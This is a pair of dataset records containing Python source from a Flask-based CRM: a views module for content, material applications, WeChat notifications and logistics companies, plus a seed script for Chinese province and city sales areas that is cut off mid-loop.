"alpha_fraction": 0.5867344737052917, "alphanum_fraction": 0.5932164788246155, "avg_line_length": 46.89711380004883, "blob_id": "cbb5461d7ac3b2fb7736c2ce9566ab7cac035150", "content_id": "333a98febce90b7520889b065c51d6b9eb19e937", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 26917, "license_type": "no_license", "max_line_length": 120, "num_lines": 554, "path": "/application/content/views.py", "repo_name": "ubqai/seesun_crm_services", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nimport os, datetime\nfrom flask import Blueprint, flash, g, redirect, render_template, request, url_for, jsonify\nfrom flask_login import current_user\n\nfrom .. import app, db, cache\nfrom ..helpers import object_list, save_upload_file, delete_file, clip_image\nfrom ..models import Content, ContentCategory, ContentClassification, ContentClassificationOption\nfrom ..models import Material, MaterialApplication, MaterialApplicationContent, LogisticsCompanyInfo\nfrom ..wechat.models import WechatCall\nfrom .forms import *\n\ncontent = Blueprint('content', __name__, template_folder='templates')\ncontent_image_size = (379, 226)\n\n\n# url -- /content/..\[email protected]('/')\ndef root():\n return redirect(url_for('content.index'))\n\n\[email protected]('/index/<int:category_id>/')\ndef index(category_id):\n category = ContentCategory.query.get_or_404(category_id)\n query = Content.query.filter(Content.category_id == category_id)\n if request.args.get('name'):\n query = query.filter(Content.name.contains(request.args.get('name')))\n contents = query.order_by(Content.created_at.desc())\n return object_list('content/index.html', contents, paginate_by=20, category=category)\n\n\[email protected]('/new/<int:category_id>', methods=['GET', 'POST'])\ndef new(category_id):\n if request.method == 'POST':\n form = ContentForm(request.form)\n if form.validate():\n option_ids = request.form.getlist('option_ids[]') \n request_options = ContentClassificationOption.query.filter(ContentClassificationOption.id.in_(option_ids))\n content = form.save(Content(category_id=category_id))\n content.append_options(request_options)\n image_links = []\n if request.files:\n for param in request.files:\n if 'image_file' in param and request.files.get(param):\n index = int(param.rsplit('_', 1)[1])\n if len(image_links) < index + 1:\n for i in range(index+1-len(image_links)):\n image_links.append('')\n image_path = save_upload_file(request.files.get(param))\n if image_path:\n clip_image((app.config['APPLICATION_DIR'] + image_path), size=content_image_size)\n image_links[index] = image_path\n content.image_links = image_links\n content.save\n flash('Content \"{name}\" created successfully.'.format(name=content.name), 'success')\n return redirect(url_for('content.index', category_id=category_id))\n else:\n category = ContentCategory.query.get_or_404(category_id)\n options = category.options\n form = ContentForm()\n return render_template('content/new.html', form=form, options=options, category=category)\n\n\[email protected]('/<int:id>')\ndef show(id):\n content = Content.query.get_or_404(id)\n return render_template('content/show.html', content=content)\n\n\[email protected]('/<int:id>/edit', methods=['GET', 'POST'])\ndef edit(id):\n content = Content.query.get_or_404(id)\n options = content.category.options\n if request.method == 'POST':\n form = ContentForm(request.form)\n if form.validate():\n option_ids = request.form.getlist('option_ids[]')\n request_options = ContentClassificationOption.query.filter(ContentClassificationOption.id.in_(option_ids))\n content = form.save(content)\n content.update_options(request_options)\n image_links = list(content.image_links)\n if request.files:\n for param in request.files:\n if 'image_file' in param and request.files.get(param):\n index = int(param.rsplit('_', 1)[1])\n if len(image_links) < index + 1:\n for i in range(index+1-len(image_links)):\n image_links.append('')\n image_path = save_upload_file(request.files.get(param))\n if image_path:\n clip_image((app.config['APPLICATION_DIR'] + image_path), size=content_image_size)\n delete_file(image_links[index])\n image_links[index] = image_path\n content.image_links = image_links\n content.save\n flash('Content \"{name}\" has been updated.'.format(name=content.name), 'success')\n return redirect(url_for('content.index', category_id=content.category_id))\n else:\n form = ContentForm(obj = content)\n return render_template('content/edit.html', form=form, content=content, options=options)\n\n\[email protected]('/<int:id>/delete', methods=['POST'])\ndef delete(id):\n content = Content.query.get_or_404(id)\n if request.method == 'POST':\n content.delete\n flash('Content \"{name}\" has been deleted.'.format(name=content.name), 'success')\n if request.args.get('back_url'):\n return redirect(request.args.get('back_url'))\n return redirect(url_for('content.category_index'))\n\n\n# url -- /content/category/..\[email protected]('/category/index')\ndef category_index():\n categories = ContentCategory.query.order_by(ContentCategory.created_at.asc())\n return render_template('content/category/index.html', categories=categories)\n\n\[email protected]('/category/new', methods=['GET', 'POST'])\ndef category_new():\n if request.method == 'POST':\n form = ContentCategoryForm(request.form)\n if form.validate():\n category = form.save(ContentCategory())\n category.save\n flash('Content category \"{name}\" created successfully.'.format(name=category.name), 'success')\n return redirect(url_for('content.category_index'))\n else:\n form = ContentCategoryForm()\n return render_template('content/category/new.html', form = form)\n\n\[email protected]('/category/<int:id>')\ndef category_show(id):\n category = ContentCategory.query.get_or_404(id)\n return render_template('content/category/show.html', category=category)\n\n\[email protected]('/category/<int:id>/edit', methods=['GET', 'POST'])\ndef category_edit(id):\n category = ContentCategory.query.get_or_404(id)\n if request.method == 'POST':\n form = ContentCategoryForm(request.form)\n if form.validate():\n category = form.save(category)\n category.save\n flash('Content category \"{name}\" has been updated.'.format(name=category.name), 'success')\n return redirect(url_for('content.category_index'))\n else:\n form = ContentCategoryForm(obj=category)\n return render_template('content/category/edit.html', form=form, category=category)\n\n\[email protected]('/category/<int:id>/delete', methods=['GET', 'POST'])\ndef category_delete(id):\n category = ContentCategory.query.get_or_404(id)\n if request.method == 'POST':\n category.delete_p\n flash('Content category \"{name}\" has been deleted.'.format(name=category.name), 'success')\n return redirect(url_for('content.category_index'))\n return render_template('content/category/delete.html', category=category)\n\n\n# url -- /content/classification/..\[email protected]('/classification/new/<int:category_id>', methods=['GET', 'POST'])\ndef classification_new(category_id):\n if request.method == 'POST':\n form = ContentClassificationForm(request.form)\n if form.validate():\n classification = form.save(ContentClassification(category_id=category_id))\n classification.save\n flash('Content classification \"{name}\" created successfully.'.format(name=classification.name), 'success')\n return redirect(url_for('content.category_show', id=category_id))\n else:\n form = ContentClassificationForm()\n return render_template('content/classification/new.html', form=form, category_id=category_id)\n\n\[email protected]('/classification/<int:id>')\ndef classification_show(id):\n classification = ContentClassification.query.get_or_404(id)\n return render_template('content/classification/show.html', classification=classification)\n\n\[email protected]('/classification/<int:id>/edit', methods=['GET', 'POST'])\ndef classification_edit(id):\n classification = ContentClassification.query.get_or_404(id)\n if request.method == 'POST':\n form = ContentClassificationForm(request.form)\n if form.validate():\n classification = form.save(classification)\n classification.save\n flash('Content Classification \"{name}\" has been updated.'.format(name=classification.name), 'success')\n return redirect(url_for('content.category_show', id=classification.category_id))\n else:\n form = ContentClassificationForm(obj=classification)\n return render_template('content/classification/edit.html', form=form, classification=classification)\n\n\[email protected]('/classification/<int:id>/delete', methods=['GET', 'POST'])\ndef classification_delete(id):\n classification = ContentClassification.query.get_or_404(id)\n if request.method == 'POST':\n classification.delete_p\n flash('Content classification \"{name}\" has been deleted.'.format(name=classification.name), 'success')\n return redirect(url_for('content.category_show', id=classification.category_id))\n return render_template('content/classification/delete.html', classification=classification)\n\n\n# url -- /content/option/..\[email protected]('/option/new/<int:classification_id>', methods=['GET', 'POST'])\ndef option_new(classification_id):\n if request.method == 'POST':\n form = ContentClassificationOptionForm(request.form)\n if form.validate():\n option = form.save(ContentClassificationOption(classification_id=classification_id))\n option.save\n flash('Content classification Option \"{name}\" created successfully.'.format(name=option.name), 'success')\n return redirect(url_for('content.classification_show', id=classification_id))\n else:\n form = ContentClassificationOptionForm()\n return render_template('content/option/new.html', form = form, classification_id = classification_id)\n\n\[email protected]('/option/<int:id>')\ndef option_show(id):\n option = ContentClassificationOption.query.get_or_404(id)\n return render_template('content/option/show.html', option=option)\n\n\[email protected]('/option/<int:id>/edit', methods=['GET', 'POST'])\ndef option_edit(id):\n option = ContentClassificationOption.query.get_or_404(id)\n if request.method == 'POST':\n form = ContentClassificationOptionForm(request.form)\n if form.validate():\n option = form.save(option)\n option.save\n flash('Content Classification Option \"{name}\" has been updated.'.format(name=option.name), 'success')\n return redirect(url_for('content.classification_show', id=option.classification_id))\n else:\n form = ContentClassificationOptionForm(obj=option)\n return render_template('content/option/edit.html', form=form, option=option)\n\n\[email protected]('/option/<int:id>/delete', methods=['GET', 'POST'])\ndef option_delete(id):\n option = ContentClassificationOption.query.get_or_404(id)\n if request.method == 'POST':\n option.delete\n flash('Content classification option \"{name}\" has been deleted.'.format(name=option.name), 'success')\n return redirect(url_for('content.classification_show', id=option.classification_id))\n return render_template('content/option/delete.html', option=option)\n\n\n# --- Material need ---\n# 物料申请销售部审批列表\[email protected]('/material_application/index/')\ndef material_application_index():\n form = MaterialApplicationSearchForm(request.args)\n query = MaterialApplication.query.filter(\n MaterialApplication.user_id.in_(\n set([user.id for user in current_user.get_subordinate_dealers()] +\n [user.id for user in User.query.filter(User.user_or_origin == 3)])))\n # 增加后台员工申请订单过滤, 按销售区域划分\n query = query.filter(\n MaterialApplication.sales_area.in_(\n set([sa.name for sa in current_user.get_province_sale_areas()])\n )\n )\n if form.created_at_gt.data:\n query = query.filter(MaterialApplication.created_at >= form.created_at_gt.data)\n if form.created_at_lt.data:\n query = query.filter(MaterialApplication.created_at <= form.created_at_lt.data)\n if form.app_no.data:\n query = query.filter(MaterialApplication.app_no.contains(form.app_no.data))\n if request.args.get('sales_area'):\n query = query.filter(MaterialApplication.sales_area == request.args.get('sales_area'))\n if request.args.get('status'):\n query = query.filter(MaterialApplication.status == request.args.get('status'))\n if request.args.get('app_type'):\n query = query.filter(MaterialApplication.app_type == request.args.get('app_type'))\n applications = query.order_by(MaterialApplication.created_at.desc())\n return object_list('content/material_application/index.html', applications, paginate_by=20, form=form)\n\n\n# 物料申请市场部确认列表\[email protected]('/material_application/index_approved/')\ndef material_application_index_approved():\n applications = MaterialApplication.query.filter(\n MaterialApplication.status.in_(['同意申请', '已发货'])\n ).order_by(MaterialApplication.created_at.desc())\n return object_list('content/material_application/index_approved.html', applications, paginate_by=20)\n\n\n# 物料申请后台创建入口, 员工用\[email protected]('/material_application/new', methods=['GET', 'POST'])\ndef material_application_new():\n if not current_user.is_staff():\n flash('只有员工帐号才能使用此功能', 'danger')\n return redirect(url_for('content.material_application_index'))\n\n if request.method == 'POST':\n app_contents = []\n app_infos = {\n 'customer': request.form.get('customer'),\n 'project_name': request.form.get('project_name'),\n 'purpose': request.form.get('purpose'),\n 'delivery_method': request.form.get('delivery_method'),\n 'receive_address': request.form.get('receive_address'),\n 'receiver': request.form.get('receiver'),\n 'receiver_tel': request.form.get('receiver_tel')\n }\n if request.form:\n for param in request.form:\n if 'material' in param and request.form.get(param):\n if int(request.form.get(param)) > 0:\n app_contents.append([param.split('_', 1)[1], request.form.get(param)])\n\n if app_contents or request.form.get('app_memo'):\n application = MaterialApplication(app_no='MA' + datetime.datetime.now().strftime('%y%m%d%H%M%S'),\n user=current_user, status='新申请', app_memo=request.form.get('app_memo'),\n app_type=3, sales_area=request.form.get('sales_area'), app_infos=app_infos\n )\n db.session.add(application)\n for app_content in app_contents:\n material = Material.query.get_or_404(app_content[0])\n ma_content = MaterialApplicationContent(material_id=material.id, material_name=material.name,\n number=app_content[1], application=application)\n db.session.add(ma_content)\n db.session.commit()\n flash('物料申请提交成功', 'success')\n else:\n flash('物料申请内容不能为空', 'danger')\n return redirect(url_for('content.material_application_index'))\n else:\n materials = Material.query.order_by(Material.name.desc())\n form = MaterialApplicationForm2()\n today = datetime.datetime.now().strftime('%F')\n departments = ', '.join([department.name for department in current_user.departments])\n return render_template('content/material_application/new.html', form=form, materials=materials, today=today,\n departments=departments)\n\n\[email protected]('/material_application/<int:id>')\ndef material_application_show(id):\n application = MaterialApplication.query.get_or_404(id)\n return render_template('content/material_application/show.html', application=application)\n\n\[email protected]('/material_application/<int:id>/edit', methods=['GET', 'POST'])\ndef material_application_edit(id):\n application = MaterialApplication.query.get_or_404(id)\n if request.method == 'POST':\n form = MaterialApplicationForm(request.form)\n if form.validate():\n application = form.save(application)\n db.session.add(application)\n for param in request.form:\n if 'content' in param and request.form.get(param):\n content = MaterialApplicationContent.query.get(param.rsplit('_', 1)[1])\n content.available_number = request.form.get(param)\n db.session.add(content)\n db.session.commit()\n flash('审核成功', 'success')\n cache.delete_memoized(current_user.get_material_application_num)\n else:\n flash('审核失败', 'danger')\n if application.user.is_dealer():\n WechatCall.send_template_to_user(str(application.user_id),\n \"lW5jdqbUIcAwTF5IVy8iBzZM-TXMn1hVf9qWOtKZWb0\",\n {\n \"first\": {\n \"value\": \"您的物料申请订单状态已更改\",\n \"color\": \"#173177\"\n },\n \"keyword1\": {\n \"value\": application.app_no,\n \"color\": \"#173177\"\n },\n \"keyword2\": {\n \"value\": application.status,\n \"color\": \"#173177\"\n },\n \"keyword3\": {\n \"value\": '',\n \"color\": \"#173177\"\n },\n \"remark\": {\n \"value\": \"感谢您的使用!\",\n \"color\": \"#173177\"\n },\n },\n url_for('mobile_material_application_show', id=application.id)\n )\n return redirect(url_for('content.material_application_index'))\n form = MaterialApplicationForm(obj=application)\n return render_template('content/material_application/edit.html', application=application, form=form)\n\n\n# 物料申请发货确认\[email protected]('/material_application/<int:id>/confirm', methods=['GET', 'POST'])\ndef material_application_confirm(id):\n application = MaterialApplication.query.get_or_404(id)\n if request.method == 'POST':\n if not application.status == '同意申请':\n flash('状态错误', 'danger')\n return redirect('content.material_application_approved_index')\n application.status = '已发货'\n application.memo = request.form.get('memo')\n db.session.add(application)\n db.session.commit()\n cache.delete_memoized(current_user.get_material_application_approved_num)\n flash('物料申请\"%s\"已确认发货' % application.app_no, 'success')\n if application.user.is_dealer():\n WechatCall.send_template_to_user(str(application.user_id),\n \"lW5jdqbUIcAwTF5IVy8iBzZM-TXMn1hVf9qWOtKZWb0\",\n {\n \"first\": {\n \"value\": \"您的物料申请订单状态已更改\",\n \"color\": \"#173177\"\n },\n \"keyword1\": {\n \"value\": application.app_no,\n \"color\": \"#173177\"\n },\n \"keyword2\": {\n \"value\": application.status,\n \"color\": \"#173177\"\n },\n \"keyword3\": {\n \"value\": '',\n \"color\": \"#173177\"\n },\n \"remark\": {\n \"value\": \"感谢您的使用!\",\n \"color\": \"#173177\"\n },\n },\n url_for('mobile_material_application_show', id=application.id)\n )\n return redirect(url_for('content.material_application_index_approved'))\n return render_template('content/material_application/confirm.html', application=application)\n\n\[email protected]('/material/index')\ndef material_index():\n materials = Material.query.order_by(Material.created_at.asc())\n return render_template('content/material_application/material_index.html', materials=materials)\n\n\[email protected]('/material/statistics')\ndef material_statistics():\n materials = Material.query.order_by(Material.created_at.desc())\n material_names = [material.name for material in materials]\n material_stock_nums = [material.stock_num for material in materials]\n material_used_nums = [material.used_num for material in materials]\n material_remain_nums = [material.remain_num for material in materials]\n return render_template('content/material_application/material_statistics.html', material_names=material_names,\n material_stock_nums=material_stock_nums, material_used_nums=material_used_nums,\n material_remain_nums=material_remain_nums)\n\n\[email protected]('/material/new', methods=['GET', 'POST'])\ndef material_new():\n if request.method == 'POST':\n form = MaterialForm(request.form)\n if form.validate():\n material = form.save(Material())\n db.session.add(material)\n db.session.commit()\n flash('material created successfully', 'success')\n else:\n flash('material created failure', 'danger')\n return redirect(url_for('content.material_index'))\n form = MaterialForm()\n return render_template('content/material_application/material_new.html', form=form)\n\n\[email protected]('/material/<int:id>/edit', methods=['GET', 'POST'])\ndef material_edit(id):\n material = Material.query.get_or_404(id)\n if request.method == 'POST':\n form = MaterialForm(request.form)\n if form.validate():\n material = form.save(material)\n db.session.add(material)\n db.session.commit()\n flash('material has been updated successfully', 'success')\n else:\n flash('material updated failure', 'danger')\n return redirect(url_for('content.material_index'))\n else:\n form = MaterialForm(obj=material)\n return render_template('content/material_application/material_edit.html', material=material, form=form)\n\n\[email protected]('/material/<int:id>/delete')\ndef material_delete(id):\n material = Material.query.get_or_404(id)\n db.session.delete(material)\n db.session.commit()\n flash('%s has been deleted successfully' % material.name, 'success')\n return redirect(url_for('content.material_index'))\n\n\[email protected]('/logistics_company_info/index')\ndef logistics_company_info_index():\n logistics_company_infos = LogisticsCompanyInfo.query.order_by(LogisticsCompanyInfo.created_at.desc())\n return render_template('content/logistics_company_info/index.html', logistics_company_infos=logistics_company_infos)\n\n\[email protected]('/logistics_company_info/new', methods=['GET', 'POST'])\ndef logistics_company_info_new():\n if request.method == 'POST':\n form = LogisticsCompanyInfoForm(request.form)\n if form.validate():\n logistics_company_info = form.save(LogisticsCompanyInfo())\n db.session.add(logistics_company_info)\n db.session.commit()\n flash('货运公司\"%s\"创建成功' % logistics_company_info.name, 'success')\n return redirect(url_for('content.logistics_company_info_index'))\n else:\n form = LogisticsCompanyInfoForm()\n return render_template('content/logistics_company_info/new.html', form=form)\n\n\[email protected]('/logistics_company_info/<int:id>/edit', methods=['GET', 'POST'])\ndef logistics_company_info_edit(id):\n logistics_company_info = LogisticsCompanyInfo.query.get_or_404(id)\n if request.method == 'POST':\n form = LogisticsCompanyInfoForm(request.form)\n if form.validate():\n logistics_company_info = form.save(logistics_company_info)\n db.session.add(logistics_company_info)\n db.session.commit()\n flash('货运公司修改成功', 'success')\n return redirect(url_for('content.logistics_company_info_index'))\n else:\n form = LogisticsCompanyInfoForm(obj=logistics_company_info)\n return render_template('content/logistics_company_info/edit.html', logistics_company_info=logistics_company_info,\n form=form)\n\n\[email protected]('/logistics_company_info/<int:id>/delete')\ndef logistics_company_info_delete(id):\n logistics_company_info = LogisticsCompanyInfo.query.get_or_404(id)\n db.session.delete(logistics_company_info)\n db.session.commit()\n flash('\"%s\"删除成功' % logistics_company_info.name, 'success')\n return redirect(url_for('content.logistics_company_info_index'))\n" }, { "alpha_fraction": 0.6611309051513672, "alphanum_fraction": 0.6688414216041565, "avg_line_length": 37.03007507324219, "blob_id": "7855e5aa8a175dc285e1463f41a36eb114994362", "content_id": "ddd11fbaaceee66868ac5fb0b976aa0f2f170791", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 12974, "license_type": "no_license", "max_line_length": 155, "num_lines": 266, "path": "/province_seeds.py", "repo_name": "ubqai/seesun_crm_services", "src_encoding": "UTF-8", "text": "from application.models import *\nfjs = SalesAreaHierarchy(name=\"福建省\", level_grade=3)\ndb.session.add(fjs)\ndb.session.commit()\nfor name in [\"泉州市\",\"漳州市\",\"三明市\",\"厦门市\",\"龙岩市\",\"宁德市\",\"南平市\",\"莆田市\",\"福州市\"]:\n item = SalesAreaHierarchy(name=name, level_grade=4, parent_id=fjs.id)\n db.session.add(item)\n db.session.commit()\n\nccs = SalesAreaHierarchy(name=\"重庆市\", level_grade=3)\ndb.session.add(ccs)\ndb.session.commit()\nfor name in [\"重庆市\"]:\n item = SalesAreaHierarchy(name=name, level_grade=4, parent_id=ccs.id)\n db.session.add(item)\n db.session.commit()\n\nhns = SalesAreaHierarchy(name=\"河南省\", level_grade=3)\ndb.session.add(hns)\ndb.session.commit()\nfor name in [\"洛阳市\",\"新乡市\",\"信阳市\",\"三门峡市\",\"平顶山市\",\"漯河市\",\"商丘市\",\"濮阳市\",\"鹤壁市\",\"南阳市\",\"许昌市\",\"安阳市\",\"周口市\",\"焦作市\",\"郑州市\",\"驻马店市\",\"开封市\"]:\n item = SalesAreaHierarchy(name=name, level_grade=4, parent_id=hns.id)\n db.session.add(item)\n db.session.commit()\n\nahs = SalesAreaHierarchy(name=\"安徽省\", level_grade=3)\ndb.session.add(ahs)\ndb.session.commit()\nfor name in [\"马鞍山市\",\"亳州市\",\"巢湖市\",\"黄山市\",\"合肥市\",\"阜阳市\",\"蚌埠市\",\"淮北市\",\"六安市\",\"宿州市\",\"芜湖市\",\"宣城市\",\"池州市\",\"铜陵市\",\"淮南市\",\"滁州市\",\"安庆市\"]:\n item = SalesAreaHierarchy(name=name, level_grade=4, parent_id=ahs.id)\n db.session.add(item)\n db.session.commit()\n\nscs = SalesAreaHierarchy(name=\"四川省\", level_grade=3)\ndb.session.add(scs)\ndb.session.commit()\nfor name in [\"阿坝藏族羌族自治州\",\"达州市\",\"甘孜藏族自治州\",\"巴中市\",\"德阳市\",\"广元市\",\"南充市\",\"绵阳市\",\"自贡市\",\"内江市\",\"雅安市\",\"广安市\",\"凉山彝族自治州\",\"攀枝花市\",\"成都市\",\"乐山市\",\"遂宁市\",\"宜宾市\",\"眉山市\",\"资阳市\",\"泸州市\"]:\n item = SalesAreaHierarchy(name=name, level_grade=4, parent_id=scs.id)\n db.session.add(item)\n db.session.commit()\n\nsxs = SalesAreaHierarchy(name=\"山西省\", level_grade=3)\ndb.session.add(sxs)\ndb.session.commit()\nfor name in [\"阳泉市\",\"朔州市\",\"晋城市\",\"大同市\",\"太原市\",\"临汾市\",\"长治市\",\"吕梁市\",\"晋中市\",\"运城市\",\"忻州市\"]:\n item = SalesAreaHierarchy(name=name, level_grade=4, parent_id=sxs.id)\n db.session.add(item)\n db.session.commit()\n\ngds = SalesAreaHierarchy(name=\"广东省\", level_grade=3)\ndb.session.add(gds)\ndb.session.commit()\nfor name in [\"茂名市\",\"清远市\",\"潮州市\",\"梅州市\",\"中山市\",\"佛山市\",\"汕头市\",\"汕尾市\",\"肇庆市\",\"东莞市\",\"云浮市\",\"珠海市\",\"阳江市\",\"韶关市\",\"河源市\",\"惠州市\",\"湛江市\",\"江门市\",\"揭阳市\",\"广州市\",\"深圳市\"]:\n item = SalesAreaHierarchy(name=name, level_grade=4, parent_id=gds.id)\n db.session.add(item)\n db.session.commit()\n\nnxs = SalesAreaHierarchy(name=\"宁夏回族自治区\", level_grade=3)\ndb.session.add(nxs)\ndb.session.commit()\nfor name in [\"中卫市\",\"石嘴山市\",\"吴忠市\",\"银川市\",\"固原市\"]:\n item = SalesAreaHierarchy(name=name, level_grade=4, parent_id=nxs.id)\n db.session.add(item)\n db.session.commit()\n\nhljs = SalesAreaHierarchy(name=\"黑龙江省\", level_grade=3)\ndb.session.add(hljs)\ndb.session.commit()\nfor name in [\"大庆市\",\"双鸭山市\",\"七台河市\",\"哈尔滨市\",\"牡丹江市\",\"鸡西市\",\"伊春市\",\"齐齐哈尔市\",\"鹤岗市\",\"黑河市\",\"绥化市\",\"大兴安岭地区\",\"佳木斯市\"]:\n item = SalesAreaHierarchy(name=name, level_grade=4, parent_id=hljs.id)\n db.session.add(item)\n db.session.commit()\n\nbjs = SalesAreaHierarchy(name=\"北京市\", level_grade=3)\ndb.session.add(bjs)\ndb.session.commit()\nfor name in [\"北京市\"]:\n item = SalesAreaHierarchy(name=name, level_grade=4, parent_id=bjs.id)\n db.session.add(item)\n db.session.commit()\n\ngxs = SalesAreaHierarchy(name=\"广西壮族自治区\", level_grade=3)\ndb.session.add(gxs)\ndb.session.commit()\nfor name in [\"玉林市\",\"防城港市\",\"崇左市\",\"贺州市\",\"来宾市\",\"钦州市\",\"百色市\",\"贵港市\",\"河池市\",\"柳州市\",\"桂林市\",\"梧州市\",\"南宁市\",\"北海市\"]:\n item = SalesAreaHierarchy(name=name, level_grade=4, parent_id=gxs.id)\n db.session.add(item)\n db.session.commit()\n\nnmg = SalesAreaHierarchy(name=\"内蒙古自治区\", level_grade=3)\ndb.session.add(nmg)\ndb.session.commit()\nfor name in [\"兴安盟\",\"通辽市\",\"巴彦淖尔市\",\"乌兰察布市\",\"呼伦贝尔市\",\"乌海市\",\"锡林郭勒盟\",\"鄂尔多斯市\",\"阿拉善盟\",\"呼和浩特市\",\"赤峰市\",\"包头市\"]:\n item = SalesAreaHierarchy(name=name, level_grade=4, parent_id=nmg.id)\n db.session.add(item)\n db.session.commit()\n\ngzs = SalesAreaHierarchy(name=\"贵州省\", level_grade=3)\ndb.session.add(gzs)\ndb.session.commit()\nfor name in [\"遵义市\",\"毕节地区\",\"安顺市\",\"黔南布依族苗族自治州\",\"黔西南布依族苗族自治州\",\"六盘水市\",\"贵阳市\",\"铜仁地区\",\"黔东南苗族侗族自治州\"]:\n item = SalesAreaHierarchy(name=name, level_grade=4, parent_id=gzs.id)\n db.session.add(item)\n db.session.commit()\n\nxjs = SalesAreaHierarchy(name=\"新疆维吾尔自治区\", level_grade=3)\ndb.session.add(xjs)\ndb.session.commit()\nfor name in [\"塔城地区\",\"克孜勒苏柯尔克孜自治州\",\"喀什地区\",\"博尔塔拉蒙古自治州\",\"阿克苏地区\",\"阿勒泰地区\",\"克拉玛依市\",\"乌鲁木齐市\",\"吐鲁番地区\",\"哈密地区\",\"伊犁哈萨克自治州\",\"和田地区\",\"昌吉回族自治州\",\"巴音郭楞蒙古自治州\"]:\n item = SalesAreaHierarchy(name=name, level_grade=4, parent_id=xjs.id)\n db.session.add(item)\n db.session.commit()\n\nzjs = SalesAreaHierarchy(name=\"浙江省\", level_grade=3)\ndb.session.add(zjs)\ndb.session.commit()\nfor name in [\"杭州市\",\"宁波市\",\"温州市\",\"绍兴市\",\"湖州市\",\"舟山市\",\"金华市\",\"衢州市\",\"嘉兴市\",\"台州市\",\"丽水市\"]:\n item = SalesAreaHierarchy(name=name, level_grade=4, parent_id=zjs.id)\n db.session.add(item)\n db.session.commit()\n\nxgq = SalesAreaHierarchy(name=\"香港特别行政区\", level_grade=3)\ndb.session.add(xgq)\ndb.session.commit()\nfor name in [\"香港\"]:\n item = SalesAreaHierarchy(name=name, level_grade=4, parent_id=xgq.id)\n db.session.add(item)\n db.session.commit()\n\nxzq = SalesAreaHierarchy(name=\"西藏自治区\", level_grade=3)\ndb.session.add(xzq)\ndb.session.commit()\nfor name in [\"那曲地区\",\"林芝地区\",\"日喀则地区\",\"昌都地区\",\"山南地区\",\"阿里地区\",\"拉萨市\"]:\n item = SalesAreaHierarchy(name=name, level_grade=4, parent_id=xzq.id)\n db.session.add(item)\n db.session.commit()\n\nshs = SalesAreaHierarchy(name=\"上海市\", level_grade=3)\ndb.session.add(shs)\ndb.session.commit()\nfor name in [\"上海市\"]:\n item = SalesAreaHierarchy(name=name, level_grade=4, parent_id=shs.id)\n db.session.add(item)\n db.session.commit()\n\nhbs = SalesAreaHierarchy(name=\"河北省\", level_grade=3)\ndb.session.add(hbs)\ndb.session.commit()\nfor name in [\"唐山市\",\"保定市\",\"张家口市\",\"秦皇岛市\",\"承德市\",\"邢台市\",\"衡水市\",\"石家庄市\",\"沧州市\",\"廊坊市\",\"邯郸市\"]:\n item = SalesAreaHierarchy(name=name, level_grade=4, parent_id=hbs.id)\n db.session.add(item)\n db.session.commit()\n\nhbs_2 = SalesAreaHierarchy(name=\"湖北省\", level_grade=3)\ndb.session.add(hbs_2)\ndb.session.commit()\nfor name in [\"荆门市\",\"襄阳市\",\"十堰市\",\"孝感市\",\"咸宁市\",\"随州市\",\"黄石市\",\"鄂州市\",\"武汉市\",\"恩施土家族苗族自治州\",\"宜昌市\",\"荆州市\",\"黄冈市\"]:\n item = SalesAreaHierarchy(name=name, level_grade=4, parent_id=hbs_2.id)\n db.session.add(item)\n db.session.commit()\n\ngss = SalesAreaHierarchy(name=\"甘肃省\", level_grade=3)\ndb.session.add(gss)\ndb.session.commit()\nfor name in [\"陇南市\",\"平凉市\",\"张掖市\",\"庆阳市\",\"武威市\",\"天水市\",\"嘉峪关市\",\"临夏回族自治州\",\"白银市\",\"兰州市\",\"定西市\",\"甘南藏族自治州\",\"酒泉市\",\"金昌市\"]:\n item = SalesAreaHierarchy(name=name, level_grade=4, parent_id=gss.id)\n db.session.add(item)\n db.session.commit()\n\njsx = SalesAreaHierarchy(name=\"江苏省\", level_grade=3)\ndb.session.add(jsx)\ndb.session.commit()\nfor name in [\"南京市\",\"南通市\",\"连云港市\",\"扬州市\",\"镇江市\",\"苏州市\",\"徐州市\",\"无锡市\",\"常州市\",\"淮安市\",\"泰州市\",\"盐城市\",\"宿迁市\"]:\n item = SalesAreaHierarchy(name=name, level_grade=4, parent_id=jsx.id)\n db.session.add(item)\n db.session.commit()\n\ntjs = SalesAreaHierarchy(name=\"天津市\", level_grade=3)\ndb.session.add(tjs)\ndb.session.commit()\nfor name in [\"天津市\"]:\n item = SalesAreaHierarchy(name=name, level_grade=4, parent_id=tjs.id)\n db.session.add(item)\n db.session.commit()\n\nhns_2 = SalesAreaHierarchy(name=\"湖南省\", level_grade=3)\ndb.session.add(hns_2)\ndb.session.commit()\nfor name in [\"株洲市\",\"长沙市\",\"湘潭市\",\"常德市\",\"岳阳市\",\"怀化市\",\"张家界市\",\"邵阳市\",\"娄底市\",\"湘西土家族苗族自治州\",\"永州市\",\"益阳市\",\"衡阳市\",\"郴州市\"]:\n item = SalesAreaHierarchy(name=name, level_grade=4, parent_id=hns_2.id)\n db.session.add(item)\n db.session.commit()\n\nsdx = SalesAreaHierarchy(name=\"山东省\", level_grade=3)\ndb.session.add(sdx)\ndb.session.commit()\nfor name in [\"潍坊市\",\"烟台市\",\"滨州市\",\"莱芜市\",\"淄博市\",\"威海市\",\"济宁市\",\"聊城市\",\"日照市\",\"临沂市\",\"青岛市\",\"菏泽市\",\"枣庄市\",\"泰安市\",\"德州市\",\"东营市\",\"济南市\"]:\n item = SalesAreaHierarchy(name=name, level_grade=4, parent_id=sdx.id)\n db.session.add(item)\n db.session.commit()\n\nhns_3 = SalesAreaHierarchy(name=\"海南省\", level_grade=3)\ndb.session.add(hns_3)\ndb.session.commit()\nfor name in [\"海口市\",\"三亚市\",\"三沙市\"]:\n item = SalesAreaHierarchy(name=name, level_grade=4, parent_id=hns_3.id)\n db.session.add(item)\n db.session.commit()\n\nsxs_2 = SalesAreaHierarchy(name=\"陕西省\", level_grade=3)\ndb.session.add(sxs_2)\ndb.session.commit()\nfor name in [\"安康市\",\"延安市\",\"商洛市\",\"渭南市\",\"铜川市\",\"宝鸡市\",\"咸阳市\",\"榆林市\",\"西安市\",\"汉中市\"]:\n item = SalesAreaHierarchy(name=name, level_grade=4, parent_id=sxs_2.id)\n db.session.add(item)\n db.session.commit()\n\njlx = SalesAreaHierarchy(name=\"吉林省\", level_grade=3)\ndb.session.add(jlx)\ndb.session.commit()\nfor name in 